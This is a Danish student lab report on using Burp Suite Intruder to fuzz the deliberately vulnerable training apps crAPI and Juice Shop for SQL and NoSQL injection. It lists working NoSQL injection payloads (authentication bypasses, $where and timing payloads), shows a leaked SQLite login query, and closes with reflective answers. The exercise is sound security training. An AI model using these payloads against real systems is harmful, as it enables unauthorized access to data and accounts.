Øvelse 15 - Opdage sårbarheder, med fuzz input
Forfatter: Mathias Greisen
Dato: 2026-10-13
Fag/modul: IT-sikkerhed i Webapplikationer
Status: Færdig
1. Beskrivelse af øvelsen
Formålet er at introducere teknikken fuzzing. Fuzzing skal bruges til at finde SQL injection-huller – først i crAPI, derefter i Juice Shop.
2. Reproduktion trin for trin
Forudsætninger
- CrAPI
- JuiceShop
- BurpSuite
Discovering SQL Injection with Fuzzing
- Åbn Burp Suite, og opfang en anmodning om validering af en kupon.
- Send anmodningen til Intruder.
- Markér værdien af coupon, og angiv den som payload-position.
- Brug ordlisten Generic-SQLI fra SecLists som payload.
- Eksempel på sti i Kali Linux:
/usr/share/seclists/Fuzzing/Generic-SQLi.txt - Kan også findes i SecLists' GitHub-repository.
- Eksempel på sti i Kali Linux:
- Kør angrebet.
-
Observer svarene:
-
Hvad er de normale (baseline) statuskoder og indholdslængder?
- Status: 500, Length: 390
- Status: 422, Length: 443
-
Hvilke svar adskiller sig fra baseline?
-
Det gør 422 svarene som der kun var 2 af:
HTTP/1.1 422 Unprocessable Entity Server: openresty/1.25.3.1 Date: Tue, 13 Oct 2026 05:11:51 GMT Content-Type: application/json Connection: keep-alive Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Origin: * Content-Length: 56 { "error":"invalid character '\\x18' in string literal" }
-
-
Discovering NoSQL Injection with Fuzzing
- Opret en lille, brugerdefineret ordliste med NoSQL-payloads.
-
Brug eventuelt listen nedenfor:
true $where: '1 == 1' , $where: '1 == 1' $where: '1 == 1' ', $where: '1 == 1 1, $where: '1 == 1' { $ne: 1 } ', $or: [ {}, { 'a':'a ' } ], $comment:'successful MongoDB injection' db.injection.insert({success:1}); db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1 || 1==1 || 1==1// || 1==1%00 }, { password : /.*/ } ' && this.password.match(/.*/)//+%00 ' && this.passwordzz.match(/.*/)//+%00 '%20%26%26%20this.password.match(/.*/)//+%00 '%20%26%26%20this.passwordzz.match(/.*/)//+%00 {$gt: ''} [$ne]=1 ';sleep(5000); ';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000); {"username": {"$ne": null}, "password": {"$ne": null}} {"username": {"$ne": "foo"}, "password": {"$ne": "bar"}} {"username": {"$gt": undefined}, "password": {"$gt": undefined}} {"username": {"$gt":""}, "password": {"$gt":""}} {"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}} {"$ne": null} -
Skift payload position så " rundt om coupon værdien også er en del af payload.
- Ryd den tidligere payload-liste i Intruder.
- Indlæs din nye NoSQL-ordliste som payload.
- Kør angrebet.
-
Hold øje med unormale statuskoder eller uventede indholdslængder i svarene.

HTTP/1.1 200 OK Server: openresty/1.25.3.1 Date: Tue, 13 Oct 2026 05:28:39 GMT Content-Type: application/json Connection: keep-alive Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Origin: * Content-Length: 79 { "coupon_code":"TRAC075", "amount":"75", "CreatedAt":"2026-09-04T07:38:20.311Z" }Betydning af injection:
- "Find documents where coupon_code is not equal to null."
Discovering possible Juice shop SQL injection vulnerability with fuzzing
-
Opsnap en Juice Shop authentication request, og send den til Intruder.
-
Opret en lille SQL injection-ordliste med følgende payloads:
-
Brug denne ordliste til at fuzz'e password-parameteren.
-
Observer svarene. Indeholder nogen af svarene interessant information?
- Nej de er alle status: 500, Length: 413
HTTP/1.1 401 Unauthorized Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Feature-Policy: payment 'self' X-Recruiting: /#/jobs Content-Type: text/html; charset=utf-8 Content-Length: 26 ETag: W/"1a-ARJvVK+smzAF3QQve2mDSG+3Eus" Vary: Accept-Encoding Date: Tue, 13 Oct 2026 05:48:54 GMT Connection: keep-alive Keep-Alive: timeout=5 Invalid email or password. -
Ryd password-feltet, og sæt det til en fast værdi, så feltet ikke længere fuzz'es.
-
Fuzz username-feltet med den samme ordliste.
-
Identificer svar med HTTP 500-statuskode, som indeholder bemærkelsesværdigt indhold.

HTTP/1.1 500 Internal Server Error Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Feature-Policy: payment 'self' X-Recruiting: /#/jobs Content-Type: application/json; charset=utf-8 Vary: Accept-Encoding Date: Tue, 13 Oct 2026 05:46:57 GMT Connection: keep-alive Keep-Alive: timeout=5 Content-Length: 1164 { "error":{ "message":"SQLITE_ERROR: near \"ecc4208a7778c1d76e7e89c5253128c5\": syntax error", "stack":"Error\n at Database.<anonymous> (/juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:185:27)\n at /juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:183:50\n at new Promise (<anonymous>)\n at Query.run (/juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:183:12)\n at /juice-shop/node_modules/sequelize/lib/sequelize.js:315:28\n at process.processTicksAndRejections (node:internal/process/task_queues:105:5)", "name":"SequelizeDatabaseError", "parent":{ "errno":1, "code":"SQLITE_ERROR", "sql":"SELECT * FROM Users WHERE email = ''' AND password = 'ecc4208a7778c1d76e7e89c5253128c5' AND deletedAt IS NULL" }, "original":{ "errno":1, "code":"SQLITE_ERROR", "sql":"SELECT * FROM Users WHERE email = ''' AND password = 'ecc4208a7778c1d76e7e89c5253128c5' AND deletedAt IS NULL" }, "sql":"SELECT * FROM Users WHERE email = ''' AND password = 'ecc4208a7778c1d76e7e89c5253128c5' AND deletedAt IS NULL", "parameters":{ } } }
3. Problemer og løsninger
Jeg oplevede ikke problemer under denne øvelse udover at "/usr/share/seclists/Fuzzing/Generic-SQLi.txt" istedet ligger her: "/usr/share/seclists/Fuzzing/Databases/SQLi/Generic-SQLi.txt"
4. Reflekterende spørgsmål
-
What patterns did you observe in the response behavior?
- At svarene som regel delte sig i 2, nemlig standard fejl-beskeder, og så fejl-beskeder når systemet blev ramt af noget uforudset som kunne være en funden sårbarhed.
-
Why are baseline values important for identifying injection responses?
- Når man har baseline værdierne kan man let filtrere disse fra og kigge på de andre responses.
-
How does fuzzing differ between SQL and NoSQL injection attempts?
- Ved sql forsøger man at ændre i selve sql query kommandoen.
- Ved no sql forsøger man at ændre i structuren eller data typerne.
-
What limitations or risks are associated with blind fuzzing?
- Det kan tage tid.
- Mange requests eller specifikke inputs kan måske ligge systemet ned.
- Potentiale for mange falske positiver, man skal altså selv undersøge en del.
-
What does an HTTP 500 error indicate in the context of fuzzing inputs?
- At serveren stødte ind i en fejl, hvilket betyder man har ramt en utilsigtet fejl i systemet.
-
How might these responses indicate a vulnerability?
- Da status 500 betyder "Internal Server Error" har man altså som regel ramt en fejl i logikken inde i selve serveren.
-
Why might fuzzing usernames reveal different information than fuzzing passwords?
- Fordi username i dette tilfælde bruges til at søge efter brugeren. Men måske opsætningen også er forskellig for hvert parameter i backend koden så det dermed kun er den ene som er sårbar.
5. Opsummering af erfaringer
Jeg har opnået erfaringer med fuzzing og har prøvet at finde sårbarheder med fuzzing teknikker.